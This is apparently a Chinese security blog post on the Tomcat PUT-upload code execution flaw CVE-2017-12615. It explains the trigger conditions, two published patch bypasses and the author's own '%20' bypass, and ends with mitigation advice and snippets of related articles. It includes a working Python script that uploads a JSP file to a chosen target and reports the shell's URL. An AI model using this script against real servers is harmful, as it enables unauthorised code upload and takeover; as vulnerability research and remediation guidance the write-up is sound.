Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass

0x00 漏洞简介

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞。

漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。

其中 远程代码执行漏洞(CVE-2017-12615)

影响: Apache Tomcat 7.0.0 - 7.0.79

漏洞触发条件:

1,tomcat得架设在windows主机上

2,将readonly由默认值true设置为false。(开启http PUT 方法)

攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

该漏洞由360观星实验室发现并提交。

官方在确认漏洞并在tomcat 7.0.81中修复。

0x01 漏洞演绎:漏洞复现

需要的环境:

1,tomcat 版本低于7.0.81

2,burpsuite

官网上在7.0.81出来之后就找不到低于该版本的了,在csdn下了一个7.0.65的免安装版。

jdk的配置与及环境变量的配置就不多说了。配置好conf/web.xml的readonly 为 false。如下图

startup启动tomcat,环境就算搭好了。

漏洞利用姿势有两种:

1,利用windows对文件名的要求特性。倘若文件名最后的一个字符是空格或者点号,会被自动去掉。

利用空格

利用点号

2,利用windows的ntfs文件流特性。关于文件流请看这里(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

至于原理可以参考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

0x02 漏洞演绎:bypass 补丁

在各方大佬对官方的的补丁进行分析,fuzz之后,发现了在文件名后加多一个‘/‘ 或者‘/.‘,可以直接bypass 补丁,攻击范围也从仅限于的windows扩展到windows和linux,漏洞影响版本也从仅影响7.x版本,直接日穿5.x到9.x所有版本。

漏洞影响:

版本:5.x-9.x

平台:windows,linux

bypass 补丁环境准备:

1,tomcat 7.0.81

2,burpsuite

修改好readonly,开始测试。

利用‘/‘

 利用‘/.‘

 0x03 漏洞演绎:我的bypass

在对多个版本进行复现,测试的时候,我也发现了一个‘bypass‘,有些鸡肋,充其量应该算是补丁的缺陷吧。

1,版本仅限于7.0.81;

2,平台仅限于windows;

bypass 思路:先put请求一个服务器上面存在的jsp文件,如index.jsp%20,再put 我们自己的shell.jsp%20,神奇的发现创建了shell.jsp。测试了很久,发现只有%20可以过。

比如tomcat服务器上肯定存在index.jsp。

先put index.jsp%20 ,提示409

再put shell.jsp%20,可以发现成功创建了shell.jsp

在用burpsuite测试的时候,时不时会过不了。

写了个脚本,思路就清晰了不少。

 1 #-*- coding:utf-8 -*-
 2
 3 import requests
 4 import sys
 5 import random
 6
 7
 8 body = ‘<%out.println("hello ! This is my bypass shell");%>‘
 9
10 urltemp = ‘http://‘+sys.argv[1]+‘/index.jsp%20‘ # put the exists jsp,like the index.jsp
11 shellname = ‘shell‘+str(random.randint(1000,10000))
12
13 urlpoc = ‘http://‘+sys.argv[1]+‘/‘+shellname+‘.jsp%20‘
14
15 urlnormal =  ‘http://‘+sys.argv[1]+‘/‘+shellname+‘.jsp‘
16
17
18 requests.put(urltemp,body)
19
20 response = requests.put(urlpoc,body)
21
22 code =  response.status_code
23
24 if code== 201:
25     print ‘shell create‘;
26
27 response = requests.get(urlnormal)
28 code = response.status_code
29 if code == 200:
30     print ‘Your shell: ‘+urlnormal

脚本是稳定的:

至于为什么会出现这种问题,得好好跟一下才知道了~~

0x04 修复方案

认真检查tomcat 配置是否设置了readonly为false或者是否启用了PUT方法,设置readonly为true,禁用PUT方法!!

留意官方的最新补丁,及时升级!!

参考文章:

1,Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass(http://www.freebuf.com/vuls/148283.html)

2,Tomcat信息泄漏和远程代码执行漏洞分析报告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

时间: 2024-10-25 07:51:02

Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass的相关文章

Apache Tomcat CVE-2017-12615远程代码执行漏洞分析

2017年9月19日, Apache Tomcat官方发布两个严重的安全漏洞, 其中CVE-2017-12615为远程代码执行漏洞,通过put请求向服务器上传恶意jsp文件, 再通过jsp文件在服务器上执行任意代码, 且最新的补丁未完全修复漏洞.中新网安将对该漏洞进行持续关注, 并第一时间为您更新相关漏洞信息. 漏洞编号 CVE-2017-12615 漏洞名称 Apache Tomcat 远程代码执行漏洞 漏洞评级 严重 影响范围 Apache Tomcat 7.0.0 - 7.0.79 漏洞分

Tomcat远程代码执行漏洞CVE-2017-12615复现

一.背景 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615),当存在漏洞的Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法,恶意访问者通过构造的请求向服务器上传包含任意diam的JSP文件,造成任意代码执行,危害十分严重. 二.影响范围 Apache Tomcat 7.0.0-7.0.81 三.测试环境 Windows 7 Apache Tomcat 7.0.56 JDK 四.漏洞复现 T

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN

PHPMailer &lt; 5.2.18 远程代码执行漏洞(CVE-2016-10033)

PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经搭建好的docker环境,见参考链接. 实验环境是在Ubuntu 16.04.3上,使用docker镜像. 安装和使用docker镜像 首先需要在ubuntu上安装docker,可使用如下命令进行安装: [email protected]:~# apt-get install docker.io [安装d

Samba远程代码执行漏洞(CVE-2017-7494) 复现

漏洞背景:Samba是在Linux和UNIX系统上实现SMB协议的一个软件,2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本,,确认属于严重漏洞,可以造成远程代码执行. 环境准备×××机:kali2018靶机:Centos6.5(samba 3.6.9) 靶机部分: [[email protected] ~]# yum inst

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920

漏洞背景:2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical.这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. 漏洞复现:1.打开网页先登录一个管理员账号.2.访问 http://你的ip:8080/admin/config/development/configuration/single/import3.然后如下图所示:第二个随便填.poc:!php/object

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr